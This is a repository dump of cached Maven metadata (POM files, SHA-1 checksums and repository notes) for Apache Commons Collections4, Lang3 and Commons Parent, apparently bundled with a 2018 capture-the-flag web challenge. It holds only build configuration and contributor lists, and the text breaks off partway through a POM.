McClanahan craigmcc Thomas Neidhart tn Adrian Nistor adriannistor Phil Steitz psteitz Arun M. Thomas amamment Rodney Waldhoff rwaldhoff Henri Yandell bayard Rafael U. C. Afonso Max Rydahl Andersen Avalon Federico Barbieri Jeffrey Barnes Nicola Ken Barozzi Arron Bates Sebastian Bazley Benjamin Bentmann Ola Berg Sam Berlin Christopher Berry Nathan Beyer Rune Peter Bjørnstad Janek Bogucki Maarten Brak Dave Bryson Chuck Burdick Julien Buret Josh Cain Jonathan Carlson Ram Chidambaram Steve Clark Benoit Corne Eric Crampton Dimiter Dimitrov Peter Donald Steve Downey Rich Dougherty Tom Dunham Stefano Fornari Andrew Freeman Gerhard Froehlich Goran Hacek David Hay Mario Ivankovits Paul Jack Eric Johnson Kent Johnson Marc Johnson Roger Kapsi Nissim Karpenstein Shinobu Kawai Stephen Kestle Mohan Kishore Simon Kitching Thomas Knych Serge Knystautas Peter KoBek Jordan Krey Olaf Krische Guilhem Lavaux Paul Legato David Leppik Berin Loritsch Hendrik Maryns Stefano Mazzocchi Brian McCallister David Meikle Steven Melzer Leon Messerschmidt Mauricio S. Moura Kasper Nielsen Stanislaw Osinski Alban Peignier Mike Pettypiece Steve Phelps Ilkka Priha Jonas Van Poucke Will Pugh Herve Quiroz Daniel Rall Robert Ribnitz Huw Roberts Henning P. Schmiedehausen Joerg Schmuecker Howard Lewis Ship Joe Raysa Jeff Rodriguez Ashwin S Jordane Sarda Thomas Schapitz Jon Schewe Andreas Schlosser Christian Siefkes Michael Smith Stephen Smith Jan Sorensen Jon S. Stevens James Strachan Leo Sutic Radford Tam Chris Tilden Neil O'Toole Jeff Turner Kazuya Ujihara Thomas Vahrst Jeff Varszegi Ralph Wagner Hollis Waite David Weinrich Dieter Wimberger Serhiy Yevtushenko Sai Zhang Jason van Zyl Geoff Schoeman Goncalo Marques junit junit 4.11 test org.easymock easymock 3.2 test apache.website Apache Commons Site ${commons.deployment.protocol}://people.apache.org/www/commons.apache.org/${commons.componentid} UTF-8 UTF-8 1.6 1.6 collections4 4.1 (Java 6.0+) 3.2.2 (Requires Java 1.3 or later) commons-collections-${commons.release.2.version} COLLECTIONS 12310465 RC2 2.9.1 collections https://svn.apache.org/repos/infra/websites/production/commons/content/proper/commons-collections site-content 2.9.1 org.apache.maven.plugins maven-surefire-plugin **/*Test.java **/*$* **/TestUtils.java **/Abstract*.java **/BulkTest.java maven-assembly-plugin src/assembly/bin.xml src/assembly/src.xml gnu maven-checkstyle-plugin ${checkstyle.version} ${basedir}/src/conf/checkstyle.xml false org.apache.maven.plugins maven-scm-publish-plugin javadocs org.apache.maven.plugins maven-changes-plugin ${commons.changes.version} %URL%/%ISSUE% false Fix Version,Key,Summary,Type,Resolution,Status Key DESC,Type,Fix Version DESC Fixed Resolved,Closed Bug,New Feature,Task,Improvement,Wish,Test ${commons.release.version} 500 changes-report jira-report maven-checkstyle-plugin ${checkstyle.version} ${basedir}/src/conf/checkstyle.xml false ${basedir}/src/conf/checkstyle-suppressions.xml checkstyle org.codehaus.mojo clirr-maven-plugin ${commons.clirr.version} ${minSeverity} org.codehaus.mojo findbugs-maven-plugin 2.5.5 Normal Default ${basedir}/src/conf/findbugs-exclude-filter.xml maven-pmd-plugin 2.7.1 ${maven.compiler.target} pmd cpd org.apache.rat apache-rat-plugin site-content/**/* src/test/resources/data/test/* maven-eclipse.xml .travis.yml setup-checkout site-content org.apache.maven.plugins maven-antrun-plugin 1.7 prepare-checkout pre-site run travis env.TRAVIS true true org.jacoco jacoco-maven-plugin ${commons.jacoco.version} prepare-agent prepare-agent org.eluder.coveralls coveralls-maven-plugin 3.1.0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-collections4/4.1/commons-collections4-4.1.pom.sha1 ================================================ 56c31f5fa1096fa1b33bf2813f2913412c47db2c ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-lang3/3.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:32 CST 2018 commons-lang3-3.1.jar>central= commons-lang3-3.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-lang3/3.1/commons-lang3-3.1.jar.sha1 ================================================ 905075e6c80f206bbe6cf1e809d2caa69f420c76 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-lang3/3.1/commons-lang3-3.1.pom ================================================ org.apache.commons commons-parent 22 4.0.0 org.apache.commons commons-lang3 3.1 Commons Lang 2001 Commons Lang, a package of Java utility classes for the classes that are in java.lang's hierarchy, or are considered to be so standard as to justify existence in java.lang. http://commons.apache.org/lang/ jira http://issues.apache.org/jira/browse/LANG scm:svn:http://svn.apache.org/repos/asf/commons/proper/lang/trunk scm:svn:https://svn.apache.org/repos/asf/commons/proper/lang/trunk http://svn.apache.org/viewvc/commons/proper/lang/trunk Daniel Rall dlr dlr@finemaltcoding.com CollabNet, Inc. Java Developer Stephen Colebourne scolebourne scolebourne@joda.org SITA ATS Ltd 0 Java Developer Henri Yandell bayard bayard@apache.org Java Developer Steven Caswell scaswell stevencaswell@apache.org Java Developer -5 Robert Burrell Donkin rdonkin rdonkin@apache.org Java Developer Gary D. Gregory ggregory ggregory@apache.org -5 Java Developer Phil Steitz psteitz Java Developer Fredrik Westermarck fredrik Java Developer James Carman jcarman jcarman@apache.org Carman Consulting, Inc. Java Developer Niall Pemberton niallp Java Developer Matt Benson mbenson Java Developer Joerg Schaible joehni joerg.schaible@gmx.de Java Developer +1 Oliver Heger oheger oheger@apache.org +1 Java Developer Paul Benedict pbenedict pbenedict@apache.org Java Developer C. Scott Ananian Chris Audley Stephane Bailliez Michael Becke Benjamin Bentmann Ola Berg Nathan Beyer Stefan Bodewig Janek Bogucki Mike Bowler Sean Brown Alexander Day Chaffee Al Chou Greg Coladonato Maarten Coene Justin Couch Michael Davey Norm Deane Morgan Delagrange Ringo De Smet Russel Dittmar Steve Downey Matthias Eichel Christopher Elkins Chris Feldhacker Roland Foerther Pete Gieser Jason Gritman Matthew Hawthorne Michael Heuer Chris Hyzer Paul Jack Marc Johnson Shaun Kalley Tetsuya Kaneuchi Nissim Karpenstein Ed Korthof Holger Krauth Rafal Krupinski Rafal Krzewski David Leppik Eli Lindsey Sven Ludwig Craig R. McClanahan Rand McNeely Hendrik Maryns Dave Meikle Nikolay Metchev Kasper Nielsen Tim O'Brien Brian S O'Neill Andrew C. Oliver Alban Peignier Moritz Petersen Dmitri Plotnikov Neeme Praks Eric Pugh Stephen Putman Travis Reeder Antony Riley Valentin Rocher Scott Sanders Ralph Schaer Henning P. Schmiedehausen Sean Schofield Robert Scholte Reuben Sivan Ville Skytta David M. Sledge Michael A. Smith Jan Sorensen Glen Stampoultzis Scott Stanchfield Jon S. Stevens Sean C. Sullivan Ashwin Suresh Helge Tesgaard Arun Mammen Thomas Masato Tezuka Jeff Varszegi Chris Webb Mario Winterer Stepan Koltsov Holger Hoffstatte Derek C. Ashmore junit junit 4.10 test commons-io commons-io 2.1 test org.easymock easymock 3.0 test ISO-8859-1 UTF-8 1.5 1.5 lang3 3.1 (Java 5.0+) LANG 12310481 org.apache.maven.plugins maven-surefire-plugin plain **/*Test.java maven-assembly-plugin src/assembly/bin.xml src/assembly/src.xml gnu org.apache.maven.plugins maven-jar-plugin test-jar org.apache.maven.plugins maven-changes-plugin 2.6 ${basedir}/src/site/changes/changes.xml %URL%/%ISSUE% templates RELEASE-NOTES.txt changes-report maven-checkstyle-plugin 2.7 ${basedir}/checkstyle.xml false org.codehaus.mojo findbugs-maven-plugin 2.3.2 Normal Default ${basedir}/findbugs-exclude-filter.xml org.codehaus.mojo cobertura-maven-plugin 2.5.1 org.codehaus.mojo clirr-maven-plugin 2.3 info maven-pmd-plugin 2.5 ${maven.compile.target} pmd cpd org.codehaus.mojo taglist-maven-plugin 2.4 TODO NOPMD NOTE org.codehaus.mojo javancss-maven-plugin 2.0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-lang3/3.1/commons-lang3-3.1.pom.sha1 ================================================ 49405dd14bd8d02991d6b9e327206500852f7bfb ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/11/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:51 CST 2018 commons-parent-11.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/11/commons-parent-11.pom ================================================ 4.0.0 org.apache apache 4 org.apache.commons commons-parent pom 11 Commons Parent http://commons.apache.org/ 2001 continuum http://vmbuild.apache.org/continuum/ dummy Dummy to avoid accidental deploys scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-11 scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-11 http://svn.apache.org/viewvc/commons/proper/commons-parent/tags/commons-parent-11 Commons User List user-subscribe@commons.apache.org user-unsubscribe@commons.apache.org user@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-user/ http://markmail.org/list/org.apache.commons.users/ http://www.nabble.com/Commons---User-f319.html http://www.mail-archive.com/user@commons.apache.org/ http://news.gmane.org/gmane.comp.jakarta.commons.user Commons Dev List dev-subscribe@commons.apache.org dev-unsubscribe@commons.apache.org dev@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-dev/ http://markmail.org/list/org.apache.commons.dev/ http://www.nabble.com/Commons---Dev-f317.html http://www.mail-archive.com/dev@commons.apache.org/ http://news.gmane.org/gmane.comp.jakarta.commons.devel Commons Issues List issues-subscribe@commons.apache.org issues-unsubscribe@commons.apache.org issues@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-issues/ http://markmail.org/list/org.apache.commons.issues/ http://www.nabble.com/Commons---Issues-f25499.html http://www.mail-archive.com/issues@commons.apache.org/ Commons Commits List commits-subscribe@commons.apache.org commits-unsubscribe@commons.apache.org commits@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-commits/ http://markmail.org/list/org.apache.commons.commits/ http://www.mail-archive.com/commits@commons.apache.org/ ${basedir} META-INF NOTICE.txt LICENSE.txt org.apache.maven.plugins maven-gpg-plugin 1.0-alpha-3 org.apache.maven.plugins maven-install-plugin 2.2 org.apache.maven.plugins maven-jar-plugin 2.2 org.apache.maven.plugins maven-source-plugin 2.0.4 org.apache.maven.plugins maven-surefire-plugin 2.4.3 org.apache.maven.plugins maven-assembly-plugin 2.2-beta-1 org.apache.maven.plugins maven-release-plugin 2.0-beta-7 org.apache.maven.plugins maven-javadoc-plugin 2.4 ${commons.encoding} ${commons.docEncoding} org.apache.maven.plugins maven-compiler-plugin 2.0.2 ${maven.compile.source} ${maven.compile.target} ${commons.encoding} org.apache.maven.plugins maven-antrun-plugin 1.1 org.apache.felix maven-bundle-plugin 1.4.0 true org.apache.commons commons-build-plugin 1.1 ${commons.release.name} maven-compiler-plugin maven-jar-plugin ${commons.manifestfile} ${project.name} ${project.version} ${project.organization.name} ${project.name} ${project.version} ${project.organization.name} org.apache ${maven.compile.source} ${maven.compile.target} org.apache.felix maven-bundle-plugin true target/osgi <_nouses>true ${commons.osgi.symbolicName} ${commons.osgi.export} ${commons.osgi.private} ${commons.osgi.import} ${commons.osgi.dynamicImport} ${project.url} bundle-manifest process-classes manifest maven-idea-plugin ${maven.compile.source} org.apache.maven.plugins maven-antrun-plugin javadoc.resources generate-sources run org.apache.commons commons-build-plugin org.apache.maven.plugins maven-project-info-reports-plugin 2.0.1 org.apache.maven.plugins maven-javadoc-plugin 2.4 false ${maven.compile.source} ${commons.encoding} ${commons.docEncoding} true http://java.sun.com/javase/6/docs/api/ org.apache.maven.plugins maven-jxr-plugin 2.1 false org.apache.maven.plugins maven-site-plugin 2.0-beta-6 navigation.xml,changes.xml org.apache.maven.plugins maven-surefire-report-plugin 2.4.3 org.codehaus.mojo jdepend-maven-plugin 2.0-beta-1 org.codehaus.mojo rat-maven-plugin 1.0-alpha-3 ci apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository release apache.releases Apache Release Distribution Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository maven-gpg-plugin ${gpg.passphrase} sign-artifacts verify sign maven-install-plugin true maven-source-plugin create-source-jar jar package maven-release-plugin -Prelease maven-javadoc-plugin create-javadoc-jar jar package ${maven.compile.source} rc apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/builds/commons/${commons.componentid}/${commons.release.version}/${commons.rc.version}/staged apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository maven-gpg-plugin ${gpg.passphrase} sign-artifacts verify sign maven-install-plugin true maven-site-plugin site package maven-source-plugin create-source-jar jar package maven-release-plugin -Prc maven-javadoc-plugin create-javadoc-jar jar package ${maven.compile.source} maven-assembly-plugin attached package trunks-proper ../beanutils ../betwixt ../chain ../cli ../codec ../collections ../configuration ../daemon ../dbcp ../dbutils ../digester ../discovery ../el ../email ../exec ../fileupload ../io ../jci ../jexl ../jxpath ../lang ../launcher ../logging ../math ../modeler ../net ../pool ../primitives ../proxy ../scxml ../transaction ../validator ../vfs 1.3 1.3 ${project.artifactId}-${commons.release.version} -bin ${project.artifactId} RC1 org.apache.commons.${commons.componentid} org.apache.commons.*;version=${pom.version} * target/osgi/MANIFEST.MF scp iso-8859-1 ${commons.encoding} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/11/commons-parent-11.pom.sha1 ================================================ 3f29657e1e3d6856344728ddbcf696477e943d59 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/12/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:53 CST 2018 commons-parent-12.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/12/commons-parent-12.pom ================================================ 4.0.0 org.apache apache 4 org.apache.commons commons-parent pom 12 Commons Parent http://commons.apache.org/ continuum http://vmbuild.apache.org/continuum/ dummy Dummy to avoid accidental deploys scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-12 scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-12 http://svn.apache.org/viewvc/commons/proper/commons-parent/tags/commons-parent-12 Commons User List user-subscribe@commons.apache.org user-unsubscribe@commons.apache.org user@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-user/ http://markmail.org/list/org.apache.commons.users/ http://www.nabble.com/Commons---User-f319.html http://www.mail-archive.com/user@commons.apache.org/ http://news.gmane.org/gmane.comp.jakarta.commons.user Commons Dev List dev-subscribe@commons.apache.org dev-unsubscribe@commons.apache.org dev@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-dev/ http://markmail.org/list/org.apache.commons.dev/ http://www.nabble.com/Commons---Dev-f317.html http://www.mail-archive.com/dev@commons.apache.org/ http://news.gmane.org/gmane.comp.jakarta.commons.devel Commons Issues List issues-subscribe@commons.apache.org issues-unsubscribe@commons.apache.org issues@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-issues/ http://markmail.org/list/org.apache.commons.issues/ http://www.nabble.com/Commons---Issues-f25499.html http://www.mail-archive.com/issues@commons.apache.org/ Commons Commits List commits-subscribe@commons.apache.org commits-unsubscribe@commons.apache.org commits@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-commits/ http://markmail.org/list/org.apache.commons.commits/ http://www.mail-archive.com/commits@commons.apache.org/ ${basedir} META-INF NOTICE.txt LICENSE.txt org.apache.maven.plugins maven-antrun-plugin 1.3 org.apache.maven.plugins maven-assembly-plugin 2.2-beta-4 org.apache.maven.plugins maven-clean-plugin 2.3 org.apache.maven.plugins maven-compiler-plugin 2.0.2 ${maven.compile.source} ${maven.compile.target} ${commons.encoding} org.apache.maven.plugins maven-deploy-plugin 2.4 org.apache.maven.plugins maven-gpg-plugin 1.0-alpha-4 org.apache.maven.plugins maven-install-plugin 2.3 org.apache.maven.plugins maven-jar-plugin 2.2 org.apache.maven.plugins maven-javadoc-plugin 2.6 ${commons.encoding} ${commons.docEncoding} org.apache.maven.plugins maven-release-plugin 2.0-beta-9 org.apache.maven.plugins maven-source-plugin 2.1.1 org.apache.maven.plugins maven-surefire-plugin 2.4.3 org.apache.commons commons-build-plugin 1.1 ${commons.release.name} org.apache.felix maven-bundle-plugin 1.4.0 true maven-compiler-plugin maven-jar-plugin ${commons.manifestfile} ${project.name} ${project.version} ${project.organization.name} ${project.name} ${project.version} ${project.organization.name} org.apache ${maven.compile.source} ${maven.compile.target} org.apache.felix maven-bundle-plugin true target/osgi <_nouses>true ${commons.osgi.symbolicName} ${commons.osgi.export} ${commons.osgi.private} ${commons.osgi.import} ${commons.osgi.dynamicImport} ${project.url} bundle-manifest process-classes manifest maven-idea-plugin ${maven.compile.source} org.apache.maven.plugins maven-antrun-plugin javadoc.resources generate-sources run org.apache.commons commons-build-plugin org.apache.maven.plugins maven-project-info-reports-plugin 2.1.2 org.apache.maven.plugins maven-javadoc-plugin 2.6 false ${maven.compile.source} ${commons.encoding} ${commons.docEncoding} true http://java.sun.com/javase/6/docs/api/ org.apache.maven.plugins maven-jxr-plugin 2.1 false org.apache.maven.plugins maven-site-plugin 2.0.1 navigation.xml,changes.xml org.apache.maven.plugins maven-surefire-report-plugin 2.4.3 org.codehaus.mojo jdepend-maven-plugin 2.0-beta-2 org.codehaus.mojo rat-maven-plugin 1.0-alpha-3 ci apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository release apache.releases Apache Release Distribution Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository maven-gpg-plugin ${gpg.passphrase} sign-artifacts verify sign maven-install-plugin true maven-source-plugin create-source-jar jar package true true maven-release-plugin -Prelease maven-javadoc-plugin create-javadoc-jar jar package ${maven.compile.source} true true rc apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/builds/commons/${commons.componentid}/${commons.release.version}/${commons.rc.version}/staged apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository maven-gpg-plugin ${gpg.passphrase} sign-artifacts verify sign maven-install-plugin true maven-site-plugin site package maven-source-plugin create-source-jar jar package true true maven-release-plugin -Prc maven-javadoc-plugin create-javadoc-jar jar package ${maven.compile.source} true true maven-assembly-plugin attached package trunks-proper ../beanutils ../betwixt ../chain ../cli ../codec ../collections ../compress ../configuration ../daemon ../dbcp ../dbutils ../digester ../discovery ../el ../email ../exec ../fileupload ../io ../jci ../jexl ../jxpath ../lang ../launcher ../logging ../math ../modeler ../net ../pool ../primitives ../proxy ../sanselan ../scxml ../transaction ../validator ../vfs 1.3 1.3 ${project.artifactId}-${commons.release.version} -bin ${project.artifactId} RC1 org.apache.commons.${commons.componentid} org.apache.commons.*;version=${pom.version} * target/osgi/MANIFEST.MF scp iso-8859-1 ${commons.encoding} ${commons.encoding} ${commons.encoding} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/12/commons-parent-12.pom.sha1 ================================================ cc649b3f6671ff0e0ad57304441e0a5d2610db73 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/14/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:38 CST 2018 commons-parent-14.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/14/commons-parent-14.pom ================================================ 4.0.0 org.apache apache 7 org.apache.commons commons-parent pom 14 Commons Parent http://commons.apache.org/ continuum http://vmbuild.apache.org/continuum/ dummy Dummy to avoid accidental deploys scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-14 scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-14 http://svn.apache.org/viewvc/commons/proper/commons-parent/tags/commons-parent-14 Commons User List user-subscribe@commons.apache.org user-unsubscribe@commons.apache.org user@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-user/ http://markmail.org/list/org.apache.commons.users/ http://old.nabble.com/Commons---User-f319.html http://www.mail-archive.com/user@commons.apache.org/ http://news.gmane.org/gmane.comp.jakarta.commons.user Commons Dev List dev-subscribe@commons.apache.org dev-unsubscribe@commons.apache.org dev@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-dev/ http://markmail.org/list/org.apache.commons.dev/ http://old.nabble.com/Commons---Dev-f317.html http://www.mail-archive.com/dev@commons.apache.org/ http://news.gmane.org/gmane.comp.jakarta.commons.devel Commons Issues List issues-subscribe@commons.apache.org issues-unsubscribe@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-issues/ http://markmail.org/list/org.apache.commons.issues/ http://old.nabble.com/Commons---Issues-f25499.html http://www.mail-archive.com/issues@commons.apache.org/ Commons Commits List commits-subscribe@commons.apache.org commits-unsubscribe@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-commits/ http://markmail.org/list/org.apache.commons.commits/ http://www.mail-archive.com/commits@commons.apache.org/ Apache Announce List announce-subscribe@apache.org announce-unsubscribe@apache.org http://mail-archives.apache.org/mod_mbox/announce/ http://markmail.org/list/org.apache.announce/ http://old.nabble.com/Apache-News-and-Announce-f109.html http://www.mail-archive.com/announce@apache.org/ http://news.gmane.org/gmane.comp.apache.announce ${basedir} META-INF NOTICE.txt LICENSE.txt org.apache.maven.plugins maven-antrun-plugin 1.3 org.apache.maven.plugins maven-assembly-plugin 2.2-beta-5 org.apache.maven.plugins maven-clean-plugin 2.4 org.apache.maven.plugins maven-compiler-plugin 2.1 ${maven.compile.source} ${maven.compile.target} ${commons.encoding} ${commons.compiler.fork} ${commons.compiler.compilerVersion} ${commons.compiler.javac} org.apache.maven.plugins maven-deploy-plugin 2.5 org.apache.maven.plugins maven-gpg-plugin 1.0 org.apache.maven.plugins maven-install-plugin 2.3 org.apache.maven.plugins maven-jar-plugin 2.3 org.apache.maven.plugins maven-javadoc-plugin 2.5 true ${commons.encoding} ${commons.docEncoding} true true org.apache.maven.plugins maven-release-plugin 2.0 org.apache.maven.plugins maven-remote-resources-plugin 1.0 true org.apache.maven.plugins maven-resources-plugin 2.4.1 org.apache.maven.plugins maven-site-plugin 2.0.1 org.apache.maven.plugins maven-source-plugin 2.1.1 true true org.apache.maven.plugins maven-surefire-plugin ${commons.surefire.version} org.apache.commons commons-build-plugin 1.2 ${commons.release.name} org.apache.felix maven-bundle-plugin 1.4.3 true maven-compiler-plugin maven-surefire-plugin ${commons.surefire.java} maven-jar-plugin ${commons.manifestfile} ${project.name} ${project.version} ${project.organization.name} ${project.name} ${project.version} ${project.organization.name} org.apache ${maven.compile.source} ${maven.compile.target} org.apache.felix maven-bundle-plugin true target/osgi <_nouses>true <_removeheaders>JAVA_1_3_HOME,JAVA_1_4_HOME,JAVA_1_5_HOME,JAVA_1_6_HOME ${commons.osgi.symbolicName} ${commons.osgi.export} ${commons.osgi.private} ${commons.osgi.import} ${commons.osgi.dynamicImport} ${project.url} bundle-manifest process-classes manifest maven-idea-plugin ${maven.compile.source} org.apache.maven.plugins maven-antrun-plugin javadoc.resources generate-sources run org.apache.commons commons-build-plugin org.apache.maven.plugins maven-project-info-reports-plugin 2.1.2 org.apache.maven.plugins maven-javadoc-plugin 2.5 true ${maven.compile.source} ${commons.encoding} ${commons.docEncoding} true http://java.sun.com/javase/6/docs/api/ org.apache.maven.plugins maven-jxr-plugin 2.1 false org.apache.maven.plugins maven-site-plugin 2.0.1 navigation.xml,changes.xml org.apache.maven.plugins maven-surefire-report-plugin ${commons.surefire.version} org.codehaus.mojo jdepend-maven-plugin 2.0-beta-2 org.codehaus.mojo rat-maven-plugin 1.0-alpha-3 ci apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository release apache.releases Apache Release Distribution Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository maven-gpg-plugin ${gpg.passphrase} sign-artifacts verify sign maven-install-plugin true maven-source-plugin create-source-jar jar package maven-release-plugin -Prelease maven-javadoc-plugin create-javadoc-jar javadoc jar package ${maven.compile.source} rc apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/builds/commons/${commons.componentid}/${commons.release.version}/${commons.rc.version}/staged apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository maven-gpg-plugin ${gpg.passphrase} sign-artifacts verify sign maven-install-plugin true maven-source-plugin create-source-jar jar package maven-release-plugin -Prc maven-javadoc-plugin create-javadoc-jar javadoc jar package ${maven.compile.source} maven-assembly-plugin attached package java-1.3 true 1.3 ${JAVA_1_3_HOME}/bin/javac ${JAVA_1_3_HOME}/bin/java 2.2 java-1.4 true 1.4 ${JAVA_1_4_HOME}/bin/javac ${JAVA_1_4_HOME}/bin/java java-1.5 true 1.5 ${JAVA_1_5_HOME}/bin/javac ${JAVA_1_5_HOME}/bin/java java-1.6 true 1.6 ${JAVA_1_6_HOME}/bin/javac ${JAVA_1_6_HOME}/bin/java trunks-proper ../beanutils ../betwixt ../chain ../cli ../codec ../collections ../compress ../configuration ../daemon ../dbcp ../dbutils ../digester ../discovery ../el ../email ../exec ../fileupload ../io ../jci ../jexl ../jxpath ../lang ../launcher ../logging ../math ../modeler ../net ../pool ../primitives ../proxy ../sanselan ../scxml ../transaction ../validator ../vfs 1.3 1.3 false 2.5 ${project.artifactId}-${commons.release.version} -bin -bin ${project.artifactId} RC1 org.apache.commons.${commons.componentid} org.apache.commons.*;version=${project.version};-noimport:=true * target/osgi/MANIFEST.MF scp iso-8859-1 ${commons.encoding} ${commons.encoding} ${commons.encoding} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/14/commons-parent-14.pom.sha1 ================================================ f2d3a6ada0e1cad7236e1f2a06ec5d4c811f3681 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/22/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:26 CST 2018 commons-parent-22.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/22/commons-parent-22.pom ================================================ 4.0.0 org.apache apache 9 org.apache.commons commons-parent pom 22 Commons Parent http://commons.apache.org/ The Apache Commons Parent Pom provides common settings for all Apache Commons components. continuum http://vmbuild.apache.org/continuum/ scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/trunk scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/trunk http://svn.apache.org/viewvc/commons/proper/commons-parent/trunk Commons User List user-subscribe@commons.apache.org user-unsubscribe@commons.apache.org user@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-user/ http://markmail.org/list/org.apache.commons.users/ http://old.nabble.com/Commons---User-f319.html http://www.mail-archive.com/user@commons.apache.org/ http://news.gmane.org/gmane.comp.jakarta.commons.user Commons Dev List dev-subscribe@commons.apache.org dev-unsubscribe@commons.apache.org dev@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-dev/ http://markmail.org/list/org.apache.commons.dev/ http://old.nabble.com/Commons---Dev-f317.html http://www.mail-archive.com/dev@commons.apache.org/ http://news.gmane.org/gmane.comp.jakarta.commons.devel Commons Issues List issues-subscribe@commons.apache.org issues-unsubscribe@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-issues/ http://markmail.org/list/org.apache.commons.issues/ http://old.nabble.com/Commons---Issues-f25499.html http://www.mail-archive.com/issues@commons.apache.org/ Commons Commits List commits-subscribe@commons.apache.org commits-unsubscribe@commons.apache.org http://mail-archives.apache.org/mod_mbox/commons-commits/ http://markmail.org/list/org.apache.commons.commits/ http://www.mail-archive.com/commits@commons.apache.org/ Apache Announce List announce-subscribe@apache.org announce-unsubscribe@apache.org http://mail-archives.apache.org/mod_mbox/www-announce/ http://markmail.org/list/org.apache.announce/ http://old.nabble.com/Apache-News-and-Announce-f109.html http://www.mail-archive.com/announce@apache.org/ http://news.gmane.org/gmane.comp.apache.announce src/main/resources ${basedir} META-INF NOTICE.txt LICENSE.txt src/test/resources ${basedir} META-INF NOTICE.txt LICENSE.txt org.apache.maven.plugins maven-antrun-plugin 1.6 org.apache.maven.plugins maven-assembly-plugin 2.2.1 org.apache.maven.plugins maven-clean-plugin 2.4.1 org.apache.maven.plugins maven-compiler-plugin 2.3.2 ${maven.compile.source} ${maven.compile.target} ${commons.encoding} ${commons.compiler.fork} ${commons.compiler.compilerVersion} ${commons.compiler.javac} org.apache.maven.plugins maven-deploy-plugin 2.7 org.apache.maven.plugins maven-gpg-plugin 1.4 org.apache.maven.plugins maven-install-plugin 